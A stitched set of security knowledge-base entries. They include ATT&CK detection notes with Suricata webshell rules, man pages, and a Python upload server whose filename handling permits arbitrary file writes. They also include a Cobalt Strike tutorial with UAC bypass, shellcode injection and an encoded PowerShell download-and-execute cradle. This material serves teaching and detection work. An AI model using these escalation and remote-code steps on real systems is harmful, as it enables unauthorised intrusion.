- **vmlinux.bin**:也是静态链接的 Linux kernel,只是以一个可启动的 (bootable) 二进制文件存在。所有的符号信息和重定位信息都被删除了。生成命令为:`objcopy -O binary vmlinux vmlinux.bin`。
- **uImage**:uImage 是 U-boot 专用的镜像文件,它是在 zImage 之前加上了一个长度为 0x40 的 tag 而构成的。这个 tag 说明了这个镜像文件的类型、加载位置、生成时间、大小等信息。
|
sec-knowleage
|
# T1119-win-Seatbelt自动收集信息
## 来自ATT&CK的描述
一旦在系统或网络中建立立足点,攻击者就可以使用自动化技术来收集内部信息。执行此技术的方法可以包括使用命令和脚本解释器来搜索和复制适合标准的信息(指符合攻击者收集的数据),例如在特定时间间隔的文件类型,位置或名称。此功能也可以内置到远程访问工具中。
该技术可以结合使用其他技术,例如文件和目录发现以及横向工具传输,以识别和移动文件。
## 测试案例
Seatbelt是一个C#项目,可以用来对主机进行安全检查,在进攻和防御的角度都能发挥作用。
通过一条命令,就能够获得当前主机的多项配置信息,方便实用。
在实际渗透测试环境中可以利用Seatbelt工具做一些自动化的信息收集,收集的信息很多,包括不限于google历史记录、用户等等。当有了chrome的访问历史时,就可以知道该用户访问的一些内部站点的域名/IP,可以提高内网资产的摸索效率。
## 检测日志
Windows安全日志、sysmon日志
## 测试复现
Seatbelt的编译和使用
1.编译
工程地址:
<https://github.com/GhostPack/Seatbelt>
支持.NET 3.5和4.0
需要使用Visual Studio2017或者更高的版本进行编译。
2.使用
需要传入参数指定具体的命令,例如运行所有检查并返回所有输出:
Seatbelt.exe -group=all -full
详细的命令可参考项目的说明:
<https://github.com/GhostPack/Seatbelt#command-line-usage>
## 测试留痕
数据集来源:<https://github.com/OTRF/Security-Datasets/blob/master/datasets/atomic/windows/discovery/host/cmd_seatbelt_group_user.zip>
```yml
{ [-]
@timestamp: 2020-11-02T04:39:11.671Z
Channel: Security
CommandLine: Seatbelt.exe -group=user
EventID: 4688
Hostname: WORKSTATION5
Keywords: 0x8020000000000000
Level: 0
MandatoryLabel: S-1-16-12288
Message: A new process has been created.
Creator Subject:
Security ID: S-1-5-21-3940915590-64593676-1414006259-500
Account Name: wardog
Account Domain: WORKSTATION5
Logon ID: 0xC61D9
Target Subject:
Security ID: S-1-0-0
Account Name: -
Account Domain: -
Logon ID: 0x0
Process Information:
New Process ID: 0x2f04
New Process Name: C:\Users\wardog\Desktop\Seatbelt.exe
Token Elevation Type: %%1936
Mandatory Label: S-1-16-12288
Creator Process ID: 0x3048
Creator Process Name: C:\Windows\System32\cmd.exe
Process Command Line: Seatbelt.exe -group=user
NewProcessId: 0x2f04
NewProcessName: C:\Users\wardog\Desktop\Seatbelt.exe
ParentProcessName: C:\Windows\System32\cmd.exe
ProcessId: 0x3048
ProviderGuid: {54849625-5478-4994-a5ba-3e3b0328c30d}
SourceName: Microsoft-Windows-Security-Auditing
SubjectDomainName: WORKSTATION5
SubjectLogonId: 0xc61d9
SubjectUserName: wardog
SubjectUserSid: S-1-5-21-3940915590-64593676-1414006259-500
TargetDomainName: -
TargetLogonId: 0x0
TargetUserName: -
TargetUserSid: S-1-0-0
Task: 13312
TimeCreated: 2020-11-02T04:39:11.671Z
TokenElevationType: %%1936
}
新的事件 4663产生
{ [-]
@timestamp: 2020-11-02T04:39:11.847Z
AccessList: %%4432
AccessMask: 0x1
Channel: Security
EventID: 4663
HandleId: 0x2b4
Hostname: WORKSTATION5
Keywords: 0x8020000000000000
Level: 0
Message: An attempt was made to access an object.
Subject:
Security ID: S-1-5-21-3940915590-64593676-1414006259-500
Account Name: wardog
Account Domain: WORKSTATION5
Logon ID: 0xC61D9
Object:
Object Server: Security
Object Type: Key
Object Name: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe
Handle ID: 0x2b4
Resource Attributes: -
Process Information:
Process ID: 0x2f04
Process Name: C:\Users\wardog\Desktop\Seatbelt.exe
Access Request Information:
Accesses: Query key value
Access Mask: 0x1
ObjectName: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe
ObjectServer: Security
ObjectType: Key
ProcessId: 0x2f04
ProcessName: C:\Users\wardog\Desktop\Seatbelt.exe
ProviderGuid: {54849625-5478-4994-a5ba-3e3b0328c30d}
ResourceAttributes: -
SourceName: Microsoft-Windows-Security-Auditing
SubjectDomainName: WORKSTATION5
SubjectLogonId: 0xc61d9
SubjectUserName: wardog
SubjectUserSid: S-1-5-21-3940915590-64593676-1414006259-500
Task: 12801
TimeCreated: 2020-11-02T04:39:11.847Z
}
```
## 检测规则/思路
无论是Windows安全日志还是sysmon日志我们都能够看到Seatbelt+参数执行的特征,windows 4688(sysmon 1)。
推荐最简单的检测方法即为进程命令行参数监控,其次可以通过调用.net、chrome等行为进行监控。
### 建议
以上检测方法未经实际测试,谨慎使用。
## 参考推荐
MITRE-ATT&CK-T1119
<https://attack.mitre.org/techniques/T1119/>
工程地址:
<https://github.com/GhostPack/Seatbelt>
内存加载Seatbelt的实现
<https://anquan.baidu.com/article/1153>
|
sec-knowleage
|
# T1588-006-获取能力-漏洞
## 来自ATT&CK的描述
攻击者可能会获得有关漏洞的信息,这些信息可以在确定攻击目标的方法时使用。漏洞是计算机硬件或软件中的一个弱点,它有可能被攻击者利用,导致发生非预期或意料之外的行为。攻击者可以通过搜索开放的漏洞数据库或进入封闭的漏洞数据库来寻找漏洞信息。
攻击者可以监视漏洞披露数据库,以了解现有的以及新发现的漏洞状况。在发现漏洞和公开漏洞之间通常会有延迟。攻击者可能会把那些已知存在漏洞的系统作为目标(包括商业供应商)。对漏洞的了解可能会使攻击者寻找现有的漏洞或试图自己挖掘出一个漏洞。
## 测试案例
暂无
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。
### 检测
大部分此类活动将在目标组织的可见性之外进行,因此很难检测到这种行为。检测工作可能侧重于与漏洞利用的潜在使用相关的行为(即利用面向公众的应用程序、利用客户端执行、利用特权升级、利用防御规避、利用凭据访问、利用远程服务,以及应用程序或系统开发)
## 参考推荐
MITRE-ATT&CK-T1588-006
<https://attack.mitre.org/techniques/T1588/006/>
|
sec-knowleage
|
# 0x00 Elevate
在Cobalt Strike中内置了3种提权模式
1. ms14-058是一个(过时的)权限升级漏洞利用程序,可用于未打补丁的Windows 7系统提权。
2. UAC DLL是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的未修补版本。
3. uac-token-duplication是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令牌的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话。
当然这三种远远不满足我们的需求的,后面讲到脚本的导入利用。
>使用 右键目标> Access > Elevate 选择提权方法

可以看到我们的权限直接提升到system了。
Cobalt Strike更msf命令有着相识的地方 也有`getsystem`命令 可以用来提权
```
beacon> help getsystem
Use: getsystem
Attempts to get SYSTEM
[+] host called home, sent: 37 bytes
[+] received output:
nt authority\system
```
获得system权限我们运行一个system beacon 有太多种方法了,我这里就顺便配合 `inject` 命令
```
beacon> help inject
Use: inject [pid] <x86|x64> [listener]
Open the process and inject shellcode for the listener
```
当然也可以使用图形化的来操作
> 目标 >explore > process list

`inject`、`spawnas`、`spawn` 都可以用来进行协议切换。
# 0x01 bypass uac
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
前面内置提权有三种模式其中就有uac的 命令行还有一种引用bypass uac的方法
```
beacon> help bypassuac
Use: bypassuac [listener]
Spawn a session in a high integrity process. Use this command to elevate from a
process run by an administrator, but without administrator rights to a high
integrity process with the user's full rights. This command drops a DLL to disk,
uses a trust loophole to copy the DLL to a system folder, and executes a program
that auto-elevates to high integrity to load the DLL.
```

图中可以看到我的用户开始是 Medium Mandatory Level 权限 并且 Aleen 后面没有 `*`(表示最高权限) bypass uac后成功获得最高权限。
# 0x02 powershell
使用这个我们需要了解2个命令
```
beacon> help powershell-import
Use: powershell-import [/path/to/local/script.ps1]
Import a powershell script which is combined with future
calls to the powershell command. You may only use one
imported script at a time.
```
```
beacon> help powershell
Use: powershell [commandlet] [arguments]
Execute the command using powershell. Any cmdlets from the
last use of powershell-import are available here too.
```
powershell-import其实就是个 powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAzADcAMwA2ADgALwAnACkAOwAgAEkAbgB2AG8AawBlAC0AQQBsAGwAQwBoAGUAYwBrAHMA
其中编码内容 IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:37368/'); Invoke-AllChecks
使用 powershell-import 本地导入我们的脚本,powershell执行,官网视频导入的`PowerUp.ps1` 这个模块是个提权辅助模块具体大家可以自行搜索。

# 0x03 文末
### 本文如有错误,请及时提醒,以免误导他人
|
sec-knowleage
|
#!/usr/bin/env python
"""Simple HTTP Server With Upload.
This module builds on BaseHTTPServer by implementing the standard GET
and HEAD requests in a fairly straightforward manner.
"""
__version__ = "0.1"
__all__ = ["SimpleHTTPRequestHandler"]
__author__ = "bones7456"
__home_page__ = "http://li2z.cn/"
import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
"""Simple HTTP request handler with GET/HEAD/POST commands.
This serves files from the current directory and any of its
subdirectories. The MIME type for files is determined by
calling the .guess_type() method. And can reveive file uploaded
by client.
The GET/HEAD/POST requests are identical except that the HEAD
request omits the actual contents of the file.
"""
server_version = "SimpleHTTPWithUpload/" + __version__
def do_GET(self):
"""Serve a GET request."""
f = self.send_head()
if f:
self.copyfile(f, self.wfile)
f.close()
def do_HEAD(self):
"""Serve a HEAD request."""
f = self.send_head()
if f:
f.close()
def do_POST(self):
"""Serve a POST request."""
r, info = self.deal_post_data()
print r, info, "by: ", self.client_address
f = StringIO()
f.write('<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">')
f.write("<html>\n<title>Upload Result Page</title>\n")
f.write("<body>\n<h2>Upload Result Page</h2>\n")
f.write("<hr>\n")
if r:
f.write("<strong>Success:</strong>")
else:
f.write("<strong>Failed:</strong>")
f.write(info)
f.write("<br><a href=\"%s\">back</a>" % self.headers['referer'])
f.write("<hr><small>Powerd By: bones7456, check new version at ")
f.write("<a href=\"http://li2z.cn/?s=SimpleHTTPServerWithUpload\">")
f.write("here</a>.</small></body>\n</html>\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
boundary = self.headers.plisttext.split("=")[1]
remainbytes = int(self.headers['content-length'])
line = self.rfile.readline()
remainbytes -= len(line)
if not boundary in line:
return (False, "Content NOT begin with boundary")
line = self.rfile.readline()
remainbytes -= len(line)
print(line)
fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
if not fn:
return (False, "Can't find out file name...")
path = self.translate_path(self.path)
fn = os.path.join(path, fn[0])
if "index" in fn.lower():
return (False, "Can't create file to write, do you have permission to write?")
line = self.rfile.readline()
remainbytes -= len(line)
line = self.rfile.readline()
remainbytes -= len(line)
try:
out = open(fn, 'wb')
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
preline = self.rfile.readline()
remainbytes -= len(preline)
while remainbytes > 0:
line = self.rfile.readline()
remainbytes -= len(line)
if boundary in line:
preline = preline[0:-1]
if preline.endswith('\r'):
preline = preline[0:-1]
out.write(preline)
out.close()
return (True, "File '%s' upload success!" % fn)
else:
out.write(preline)
preline = line
return (False, "Unexpect Ends of data.")
def send_head(self):
"""Common code for GET and HEAD commands.
This sends the response code and MIME headers.
Return value is either a file object (which has to be copied
to the outputfile by the caller unless the command was HEAD,
and must be closed by the caller under all circumstances), or
None, in which case the caller has nothing further to do.
"""
path = self.translate_path(self.path)
f = None
if os.path.isdir(path):
if not self.path.endswith('/'):
# redirect browser - doing basically what apache does
self.send_response(301)
self.send_header("Location", self.path + "/")
self.end_headers()
return None
for index in "index.html", "index.htm":
index = os.path.join(path, index)
if os.path.exists(index):
path = index
break
else:
return self.list_directory(path)
ctype = self.guess_type(path)
try:
# Always read in binary mode. Opening files in text mode may cause
# newline translations, making the actual size of the content
# transmitted *less* than the content-length!
f = open(path, 'rb')
except IOError:
self.send_error(404, "File not found")
return None
self.send_response(200)
self.send_header("Content-type", ctype)
fs = os.fstat(f.fileno())
self.send_header("Content-Length", str(fs[6]))
self.send_header("Last-Modified", self.date_time_string(fs.st_mtime))
self.end_headers()
return f
def list_directory(self, path):
"""Helper to produce a directory listing (absent index.html).
Return value is either a file object, or None (indicating an
error). In either case, the headers are sent, making the
interface the same as for send_head().
"""
try:
list = os.listdir(path)
except os.error:
self.send_error(404, "No permission to list directory")
return None
list.sort(key=lambda a: a.lower())
f = StringIO()
displaypath = cgi.escape(urllib.unquote(self.path))
f.write('<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">')
f.write("<html>\n<title>Directory listing for %s</title>\n" % displaypath)
f.write("<body>\n<h2>Directory listing for %s</h2>\n" % displaypath)
f.write("<hr>\n")
f.write("<form ENCTYPE=\"multipart/form-data\" method=\"post\">")
f.write("<input name=\"file\" type=\"file\"/>")
f.write("<input type=\"submit\" value=\"upload\"/></form>\n")
f.write("<hr>\n<ul>\n")
for name in list:
fullname = os.path.join(path, name)
displayname = linkname = name
# Append / for directories or @ for symbolic links
if os.path.isdir(fullname):
displayname = name + "/"
linkname = name + "/"
if os.path.islink(fullname):
displayname = name + "@"
# Note: a link to a directory displays with @ and links with /
f.write('<li><a href="%s">%s</a>\n'
% (urllib.quote(linkname), cgi.escape(displayname)))
f.write("</ul>\n<hr>\n</body>\n</html>\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/html")
self.send_header("Content-Length", str(length))
self.end_headers()
return f
def translate_path(self, path):
"""Translate a /-separated PATH to the local filename syntax.
Components that mean special things to the local file system
(e.g. drive or directory names) are ignored. (XXX They should
probably be diagnosed.)
"""
# abandon query parameters
path = path.split('?',1)[0]
path = path.split('#',1)[0]
path = posixpath.normpath(urllib.unquote(path))
words = path.split('/')
words = filter(None, words)
path = os.getcwd()
for word in words:
drive, word = os.path.splitdrive(word)
head, word = os.path.split(word)
if word in (os.curdir, os.pardir): continue
path = os.path.join(path, word)
return path
def copyfile(self, source, outputfile):
"""Copy all data between two file objects.
The SOURCE argument is a file object open for reading
(or anything with a read() method) and the DESTINATION
argument is a file object open for writing (or
anything with a write() method).
The only reason for overriding this would be to change
the block size or perhaps to replace newlines by CRLF
-- note however that this the default server uses this
to copy binary data as well.
"""
shutil.copyfileobj(source, outputfile)
def guess_type(self, path):
"""Guess the type of a file.
Argument is a PATH (a filename).
Return value is a string of the form type/subtype,
usable for a MIME Content-type header.
The default implementation looks the file's extension
up in the table self.extensions_map, using application/octet-stream
as a default; however it would be permissible (if
slow) to look inside the data to make a better guess.
"""
base, ext = posixpath.splitext(path)
if ext in self.extensions_map:
return self.extensions_map[ext]
ext = ext.lower()
if ext in self.extensions_map:
return self.extensions_map[ext]
else:
return self.extensions_map['']
if not mimetypes.inited:
mimetypes.init() # try to read system mime.types
extensions_map = mimetypes.types_map.copy()
extensions_map.update({
'': 'application/octet-stream', # Default
'.py': 'text/plain',
'.c': 'text/plain',
'.h': 'text/plain',
})
def test(HandlerClass = SimpleHTTPRequestHandler,
ServerClass = BaseHTTPServer.HTTPServer):
BaseHTTPServer.test(HandlerClass, ServerClass)
if __name__ == '__main__':
test()
|
sec-knowleage
|
# T1505-003-webshell-冰蝎
## 来自ATT&CK的描述
Webshell是一个Web脚本,放置在可公开访问的Web服务器上,允许攻击者将Web服务器用作网络的网关。 Web shell可以提供多种功能,如虚拟终端、文件管理、数据库连接等。 除了服务器端脚本之外,Webshell可能还有一个客户端接口程序,用于与管理Web服务器的通信(例如,中国菜刀、C刀、蚁剑、冰蝎等)。
## 测试案例
暂无,可自行本地测试;
## 检测日志
HTTP流量
## 测试复现
暂无,建议自行本地测试;
## 测试留痕
暂无,建议本地自行测试,抓取流量数据;
## 检测规则/思路
### suricata规则
参考来源:<https://github.com/suricata-rules/suricata-rules/tree/master/Behinder>
```yml
alert http any any -> any any (msg: "Behinder3 PHP HTTP Request"; flow: established, to_server; content:".php"; http_uri; pcre:"/[a-zA-Z0-9+/]{1000,}=/i"; flowbits:set,behinder3;noalert; classtype:shellcode-detect; sid: 3016017; rev: 1; metadata:created_at 2020_08_17,by al0ne;)
alert http any any -> any any (msg: "Behinder3 PHP HTTP Response"; flow: established,to_client; content:"200"; http_stat_code; flowbits: isset,behinder3; pcre:"/[a-zA-Z0-9+/]{100,}=/i"; classtype:shellcode-detect; sid: 3016018; rev: 1; metadata:created_at 2020_08_17,by al0ne;)
```
### 自定义检测规则
```
自定义规则进行防护:(uri_path * rco \.(jsp|jspx|php)$)&&(method * belong POST)&&(request_body * req ^[\w+/]{1000,}=?=?$)
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1505-003
<https://attack.mitre.org/techniques/T1505/003/>
冰蝎3.0流量特征分析附特征
<https://mp.weixin.qq.com/s/XMLK5OCpH9pICD9EL9nugA>
冰蝎的前世今生:3.0新版本下的一些防护思考
<https://mp.weixin.qq.com/s/WYM3J3daMTFODr4BSkKzxg>
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP AGGREGATE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP AGGREGATE \- 删除一个用户定义的聚集函数
.SH SYNOPSIS
.sp
.nf
DROP AGGREGATE \fIname\fR ( \fItype\fR ) [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP AGGREGATE\fR 将删除一个现存聚集函数。 执行这条命令的用户必须是该聚集函数的所有者。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
现存的聚集函数名(可以有模式修饰)。
.TP
\fB\fItype\fB\fR
聚集函数的输入数据类型,或者 * ,如果这个聚集函数接受任意输入类型。
.TP
\fBCASCADE\fR
自动删除依赖于这个聚集的对象。
.TP
\fBRESTRICT\fR
如果有任何依赖对象,则拒绝删除这个聚集。这是缺省。
.SH "EXAMPLES 例子"
.PP
将类型 integer 的聚集函数 myavg 删除:
.sp
.nf
DROP AGGREGATE myavg(integer);
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
在 SQL 标准中没有 DROP AGGREGATE 语句。
.SH "SEE ALSO 参见"
ALTER AGGREGATE [\fBalter_aggregate\fR(7)], CREATE AGGREGATE [\fBcreate_aggregate\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
ssh-add
===
把专用密钥添加到ssh-agent的高速缓存中
## 补充说明
**ssh-add命令** 是把专用密钥添加到ssh-agent的高速缓存中。该命令位置在`/usr/bin/ssh-add`。
### 语法
```shell
ssh-add [-cDdLlXx] [-t life] [file ...]
ssh-add -s pkcs11
ssh-add -e pkcs11
```
### 选项
```shell
-D:删除ssh-agent中的所有密钥.
-d:从ssh-agent中的删除密钥
-e pkcs11:删除PKCS#11共享库pkcs1提供的钥匙。
-s pkcs11:添加PKCS#11共享库pkcs1提供的钥匙。
-L:显示ssh-agent中的公钥
-l:显示ssh-agent中的密钥
-t life:对加载的密钥设置超时时间,超时ssh-agent将自动卸载密钥
-X:对ssh-agent进行解锁
-x:对ssh-agent进行加锁
```
### 实例
1、把专用密钥添加到 ssh-agent 的高速缓存中:
```shell
ssh-add ~/.ssh/id_dsa
```
2、从ssh-agent中删除密钥:
```shell
ssh-add -d ~/.ssh/id_xxx.pub
```
3、查看ssh-agent中的密钥:
```shell
ssh-add -l
```
|
sec-knowleage
|
.\" Copyright (c) 1991, 1992, 1993, 1995, 1998, 1999, 2000 Free Software Foundation
.\" See section COPYING for conditions for redistribution
.TH ar 1 "1999" "Free Software Foundation" "GNU 开发工具"
.de BP
.sp
.ti \-.2i
\(**
..
.SH NAME
ar \- 建立,修改档案或从档案中抽取成员。
.SH 总览
.hy 0
.na
.BR ar " [\|" "-" "\|]"\c
.I {dmpqrtx}[abcfilNoPsSuvV] \c
[\|\c
.I membername\c
\&\|] \c
[\|\c
.I count\c
\&\|] \c
.I archive\c
\& \c
.I files\c
\&.\|.\|.
.ad b
.hy 1
.SH 描述
GNU 组织的
.B ar
程序用于建立,修改档案或从档案中抽取成员。
一个
.I 档案
是一个包含了很多其它文件的单独的文件,
它采用的结构使得可以很容易恢复原来独立的文件
(称为档案的
.I 成员
)。
原始文件(成员)的内容、权限、时间属性、属主和组都
在档案中得到保留,在抽取时可以得到恢复。
.B ar
程序维护的档案成员可以拥有一定长度的名字;具体情况,
与你系统上的
.B ar
是怎样配置的有关。
为了与其它工具维护的档案格式兼容,
有可能对成员名字的长度有严格的限制,
如果确实是这样,通常要求采用 15 个字符
(典型的格式是 a.out),或者 16 个字符(典型的格式是 coff)。
.B ar
是一个二进制格式的工具,因为这一类档案多数都作为
保存公共程序的
.I 库文件
使用。
通过指定修饰符`\|\c
.B s\c
\|', \c
.B ar\c
\&
可以 建立 指向 档案中 可重定位 目标 模块
定义的 符号表的 索引,
一旦建立, 在\c
.B ar\c
\& 更新 其内容时 (通过`\|\c
.B q\c
\|' 执行 更新 操作) ,
此索引 也会 得到 更新.
有这种 索引的 档案 可以 加速到 库文件的 连接过程,
并且 允许 库中的 例程 相互调用 而无须 考虑
它们 在档案中的 位置.
可以 使用`\|\c
.B nm \-s\c
\|' 或 `\|\c
.B nm \-\-print\-armap\c
\|' 列出 这种索引, 如果 档案 没有这类 索引,
可以 使用 另外 一个 称为\c
.B ranlib\c
\& 的\c
.B ar\c
\& 程序 增加 这种 索引.
.B ar
至少需要两个参数才能运行:
一个指明执行的
.I 操作
(可能伴随有其它的
.I 修饰符
),作用的档案名字。
多数 操作 可以 接受 更多的\c
.I 文件\c
\& 参数, 指明 操作的 详细 文件.
.SH 选项
\c
.B ar\c
\& 允许你 在第一个 命令行 参数中
以任意 顺序 混合 指定 操作码\c
.I p\c
\& 和修饰符\c
.I mod\c
\& .
只要你 愿意, 也可以 用破折号 作为 命令行 第一个 参数的 开始.
\c
.I p\c
\& 关键字 指明 要执行的 操作, 只能 指明为 如下 之一:
.TP
.B d
从档案中\c
.I 删除\c
\& 模块. 通过\c
.I files\c
\& 指明 要删除的 模块的 名称; 如果 没有 指出 要删除的
文件 名称, 档案不会 改变 任何 内容.
如果 给出了\c
.B 'v\c
\|' 修饰符,\c
.B ar\c
\& 会例出 它删除的 每一个 模块.
.TP
.B m
用此 操作 在档案中\c
.I 移动\c
\& 成员.
如果 某个 符号名 在档案的 多个 成员中 有定义,
那么 程序 怎样 连接 档案 文件
得到的 结果 可能是 不同的.
如果 没有为\c
.B m\c
\& 指定 修饰符, 由\c
.I files\c
\& 指出的 成员 将移动到 档案的\c
.I 末尾\c
\& ;
可以 通过 `\|\c
.B a\c
\|', `\|\c
.B b\c
\|' 或 `\|\c
.B i\c
\|' 等修饰符, 指定 成员 移动的 具体 位置.
.TP
.B p
在标准 输出上
\c
.I 打印\c
\& 档案中 指定的 成员.
如果 给出了`\|\c
.B v\c
\|' 修饰符, 在 打印 成员 内容 之前,
先打印 成员的 名字.
如果没有 指明\c
.I files\c
\& 参数, 档案中 所有的 成员 都会被 打印 出来.
.TP
.B q
\c
.I 快速 追加\c
\&; 增加 \c
.I files\c
\& 到 \c
.I archive\c
\& 的末尾, 不进行 替换 检查.
修饰符 `\|\c
.B a\c
\|' `\|\c
.B b\c
\|' 和 `\|\c
.B i\c
\|'\c
.I 不\c
\& 影响此 操作, 新成员 始终 追加到 档案的 末尾处.
修饰符 `\|\c
.B v\c
\|' 可以使 \c
.B ar\c
\& 列出 它追加的 所有文件.
由于 本功能 是用于 快速操作, 即使 档案中
有 符号表 索引 也不 进行 更新; 可以 使用 `\|\c
.B ar s\c
\|' 或
\c
.B ranlib\c
\& 明确 要求 更新 这些索引.
在为快速 追加 重建 索引时,由于 有 太多 不同的 系统,
所以 GNU
.B ar
采用 `\|\c
.B q\c
\|' 作为 `\|\c
.B r\c
\|'的一个 同义字.
.TP
.B r
把文件 \c
.I files\c
\& 插入 \c
.I archive\c
\& ( \c
.I 替换 \c
\&). 本操作与 `\|\c
.B q\c
\|' 是不同的, 如果 档案中 已有的 某个 成员与
插入 文件的 名称 相同, 此成员 将被删除.
如果 不存在 名称为 \c
.I files\c
\& 的文件, \c
.B ar\c
\&
显示 一个 错误 消息,
并且 保留 档案中 已有的 同名 成员.
缺省情况下, 新成员 增加到 挡案的 末尾;
可以 通过 使用 `\|\c
.B a\c
\|' `\|\c
.B b\c
\|' 或 `\|\c
.B i\c
\|' 等修饰符 指定 相对于 已有 成员的 位置.
通过 使用 `\|\c
.B v\c
\|' 修饰符 会为每个 插入的 文件 产生 一行 输出,
根据 输出中的 字符 `\|\c
.B a\c
\|' 或
`\|\c
.B r\c
\|' 可以 表明 该文件 是追加的 (没有 删除 以前的成员)
还是 替换的.
.TP
.B t
显示 一个 \c
.I archive\c
\&
档案 所包含 内容的 \c
.I 列表 \c
\&, 或 档案中的 由 \c
.I files\c
\& 指出的 文件 列表.
通常 只显示 成员的 名称, 如果 使用 `\|\c
.B v\c
\|' 修饰符, 可以 得到 成员的 权限,
时间属性, 属主, 组和 大小.
如果 没有 指出 \c
.I files\c
\&, 档案中的 所有 文件 都会 列出.
如果 档案中
(称为 `\|\c
.B b.a\c
\|') 有多个 同名 成员 (称为 `\|\c
.B fie\c
\|'), `\|\c
.B ar t b.a fie\c
\|' 仅仅 列出 第一个; 要看到 它们的 全部,
必须 要求 完整的 列表
\(em\&在本例中是 `\|\c
.B ar t b.a\c
\|'.
.TP
.B x
从档案中
\c
.I 抽取 \c
\& 成员 (名称为 \c
.I files\c
\&) . 如果 使用 `\|\c
.B v\c
\|' 修饰符, \c
.B ar\c
\& 会列出 它抽取的 每一个 文件的 名字.
如果没有给出 \c
.I files\c
\&, 抽取 档案中 所有的 文件.
.PP
可以在 操作符 \c
.I p\c
\& 后紧随 一定数量的 修饰符 \c
.I mod \c
以指明 操作的 各种 行为.
.TP
.B a
增加 文件到 档案中 已有 成员 \c
.I 之后 \c
\& , 如果 使用了 修饰符 \c
.B a\c
\&, 必须在 档案 名称 \c
.I archive\c
\& 之前 以 \c
.I membername\c
\& 参数的 形式 给出 档案中 已有 成员的 名字.
.TP
.B b
增加 文件到 档案中 已有 成员 \c
.I 之前 \c
\& , 如果 使用了 修饰符 \c
.B b\c
\&, 必须在 档案 名称 \c
.I archive\c
\& 之前 以 \c
.I membername\c
\& 参数的 形式 给出 档案中 已有 成员的 名字.
(和修饰符 `\|\c
.B i\c
\|' 相同).
.TP
.B c
\c
.I 建立 \c
\& 档案. 指定的 档案 \c
.I archive\c
\& 始终 会被建立, 如果 你要求 执行的是 更新,
通过 此修饰符 建立 档案时 会给出 一个 警告.
.TP
.B f
截短 档案成员的 名字.
.B ar
通常 允许 任意 长度的 文件名, 但这会 导致 与某些 系统上的
.B ar
出现 兼容性 问题, 使用
.B f
修饰符 可以 在往档案中 追加 文件时 把名字 截短.
.TP
.B i
插入 文件到 档案中 已有 成员 \c
.I 之前 \c
\& , 如果 使用了 修饰符 \c
.B i\c
\&, 必须在 档案 名称 \c
.I archive\c
\& 之前 以 \c
.I membername\c
\& 参数的 形式 给出 档案中 已有 成员的 名字.
(与修饰符 `\|\c
.B b\c
\|' 相同).
.TP
.B l
接受此修饰符, 但不起作用.
.TP
.B N
使用
.I count
参数. 本修饰符 用于 在档案中 有多个
同名 成员的 情况.
删除 或抽取 档案中 给定 名字的第
.I count
个实例.
.TP
.B o
抽取 成员时 保留 他们 \c
.I 原始的 \c
\& 时间属性. 如果 没有 此修饰符, 文件以抽取
的时间 作为 它的时间 属性.
.TP
.B P
匹配 档案中的 名字时 使用 完整的 路径名.
.B ar
不能 建立 使用 完整 路径名的 档案
(这不符合 POSIX 标准), 但其它的 档案 工具 能够建立,
本选项 会使
.B ar
在抽取 由其它 工具 建立的 档案 文件时,
使用完整的 路径名 去匹配 档案中 成员的 名字.
.TP
.B s
即使 没有对 档案 进行 改变, 用本 修饰符 也可以
往档案中 写一个 目标 文件的 索引 或更新 已经 存在的 索引.
可以与 其它 操作 一起 使用 本修饰符, 也可以 单独使用.
对一个 档案 执行 `\|\c
.B ar s\c
\|' 与执行 `\|\c
.B ranlib\c
\|' 等价.
.TP
.B S
不生成 档案的 符号表. 这可以 加速 建立 大的档案
文件的 过程,但这样 建立的 档案 不能被 连接器 使用,
为建立 符号表, 在最后 执行 `\|\c
.B ar\c
\|' 时应该 不用 `\|\c
.B S\c
